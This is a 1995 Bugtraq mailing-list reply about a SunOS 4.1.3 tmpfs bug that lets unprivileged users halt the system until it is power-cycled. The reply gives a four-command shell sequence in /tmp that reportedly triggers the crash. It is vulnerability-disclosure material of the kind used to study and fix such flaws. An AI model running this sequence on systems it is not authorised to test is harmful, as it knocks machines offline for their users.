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List:       bugtraq
Subject:    Re: Another tmpfs bug in SunOS 4
From:       Pete Shipley <shipley () dis ! org>
Date:       1995-12-07 16:06:06
[Download RAW message or body]

>Hi!
>
>Unprivileged users can crash the system such
>that a power down power up cyle is needed.
>
>Vulnerable OS is (at least) SunOS 4.1.3.
>
>With the right permissions (umask) the following
>sequence crahes the system. The kernel does not
>panic, nor the abort sequece enters the boot
>promt, the system is halted, need to power down.
>


yea this is the same as:


        mkdir /tmp/foo
        cd /tmp/foo
        chmod 555 .
        ln /etc/motd .




                -Pete

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